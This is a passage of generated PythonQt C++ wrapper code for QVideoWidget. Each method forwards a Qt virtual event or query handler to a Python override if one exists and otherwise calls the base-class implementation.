PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::changeEvent(arg__1);
}
void PythonQtShell_QVideoWidget::childEvent(QChildEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("childEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QChildEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::childEvent(arg__1);
}
void PythonQtShell_QVideoWidget::closeEvent(QCloseEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("closeEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QCloseEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::closeEvent(arg__1);
}
void PythonQtShell_QVideoWidget::contextMenuEvent(QContextMenuEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("contextMenuEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QContextMenuEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::contextMenuEvent(arg__1);
}
void PythonQtShell_QVideoWidget::customEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("customEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::customEvent(arg__1);
}
int PythonQtShell_QVideoWidget::devType() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("devType");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"int"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
int returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("devType", methodInfo, result);
} else {
returnValue = *((int*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::devType();
}
void PythonQtShell_QVideoWidget::dragEnterEvent(QDragEnterEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("dragEnterEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QDragEnterEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::dragEnterEvent(arg__1);
}
void PythonQtShell_QVideoWidget::dragLeaveEvent(QDragLeaveEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("dragLeaveEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QDragLeaveEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::dragLeaveEvent(arg__1);
}
void PythonQtShell_QVideoWidget::dragMoveEvent(QDragMoveEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("dragMoveEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QDragMoveEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::dragMoveEvent(arg__1);
}
void PythonQtShell_QVideoWidget::dropEvent(QDropEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("dropEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QDropEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::dropEvent(arg__1);
}
void PythonQtShell_QVideoWidget::enterEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("enterEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::enterEvent(arg__1);
}
bool PythonQtShell_QVideoWidget::event(QEvent* event0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("event");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&event0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("event", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::event(event0);
}
bool PythonQtShell_QVideoWidget::eventFilter(QObject* arg__1, QEvent* arg__2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("eventFilter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(3, argumentList);
bool returnValue;
void* args[3] = {NULL, (void*)&arg__1, (void*)&arg__2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("eventFilter", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::eventFilter(arg__1, arg__2);
}
void PythonQtShell_QVideoWidget::focusInEvent(QFocusEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("focusInEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QFocusEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::focusInEvent(arg__1);
}
bool PythonQtShell_QVideoWidget::focusNextPrevChild(bool next0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("focusNextPrevChild");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "bool"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&next0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("focusNextPrevChild", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::focusNextPrevChild(next0);
}
void PythonQtShell_QVideoWidget::focusOutEvent(QFocusEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("focusOutEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QFocusEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::focusOutEvent(arg__1);
}
bool PythonQtShell_QVideoWidget::hasHeightForWidth() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("hasHeightForWidth");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
bool returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("hasHeightForWidth", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::hasHeightForWidth();
}
int PythonQtShell_QVideoWidget::heightForWidth(int arg__1) const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("heightForWidth");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"int" , "int"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
int returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("heightForWidth", methodInfo, result);
} else {
returnValue = *((int*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::heightForWidth(arg__1);
}
void PythonQtShell_QVideoWidget::hideEvent(QHideEvent* event0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("hideEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QHideEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&event0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::hideEvent(event0);
}
void PythonQtShell_QVideoWidget::initPainter(QPainter* painter0) const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("initPainter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QPainter*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&painter0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::initPainter(painter0);
}
void PythonQtShell_QVideoWidget::inputMethodEvent(QInputMethodEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("inputMethodEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QInputMethodEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::inputMethodEvent(arg__1);
}
QVariant PythonQtShell_QVideoWidget::inputMethodQuery(Qt::InputMethodQuery arg__1) const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("inputMethodQuery");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QVariant" , "Qt::InputMethodQuery"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
QVariant returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("inputMethodQuery", methodInfo, result);
} else {
returnValue = *((QVariant*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::inputMethodQuery(arg__1);
}
void PythonQtShell_QVideoWidget::keyPressEvent(QKeyEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("keyPressEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QKeyEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::keyPressEvent(arg__1);
}
void PythonQtShell_QVideoWidget::keyReleaseEvent(QKeyEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("keyReleaseEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QKeyEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::keyReleaseEvent(arg__1);
}
void PythonQtShell_QVideoWidget::leaveEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("leaveEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::leaveEvent(arg__1);
}
QMediaObject* PythonQtShell_QVideoWidget::mediaObject() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("mediaObject");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QMediaObject*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QMediaObject* returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("mediaObject", methodInfo, result);
} else {
returnValue = *((QMediaObject**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::mediaObject();
}
int PythonQtShell_QVideoWidget::metric(QPaintDevice::PaintDeviceMetric arg__1) const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("metric");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"int" , "QPaintDevice::PaintDeviceMetric"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
int returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("metric", methodInfo, result);
} else {
returnValue = *((int*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::metric(arg__1);
}
QSize PythonQtShell_QVideoWidget::minimumSizeHint() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("getMinimumSizeHint");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QSize"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QSize returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("getMinimumSizeHint", methodInfo, result);
} else {
returnValue = *((QSize*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::minimumSizeHint();
}
void PythonQtShell_QVideoWidget::mouseDoubleClickEvent(QMouseEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("mouseDoubleClickEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QMouseEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::mouseDoubleClickEvent(arg__1);
}
void PythonQtShell_QVideoWidget::mouseMoveEvent(QMouseEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("mouseMoveEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QMouseEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::mouseMoveEvent(arg__1);
}
void PythonQtShell_QVideoWidget::mousePressEvent(QMouseEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("mousePressEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QMouseEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::mousePressEvent(arg__1);
}
void PythonQtShell_QVideoWidget::mouseReleaseEvent(QMouseEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("mouseReleaseEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QMouseEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::mouseReleaseEvent(arg__1);
}
void PythonQtShell_QVideoWidget::moveEvent(QMoveEvent* event0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("moveEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QMoveEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&event0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::moveEvent(event0);
}
bool PythonQtShell_QVideoWidget::nativeEvent(const QByteArray& eventType0, void* message1, long* result2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("nativeEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "const QByteArray&" , "void*" , "long*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(4, argumentList);
bool returnValue;
void* args[4] = {NULL, (void*)&eventType0, (void*)&message1, (void*)&result2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("nativeEvent", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::nativeEvent(eventType0, message1, result2);
}
QPaintEngine* PythonQtShell_QVideoWidget::paintEngine() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("paintEngine");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QPaintEngine*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QPaintEngine* returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("paintEngine", methodInfo, result);
} else {
returnValue = *((QPaintEngine**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::paintEngine();
}
void PythonQtShell_QVideoWidget::paintEvent(QPaintEvent* event0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("paintEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QPaintEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&event0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::paintEvent(event0);
}
QPaintDevice* PythonQtShell_QVideoWidget::redirected(QPoint* offset0) const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("redirected");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
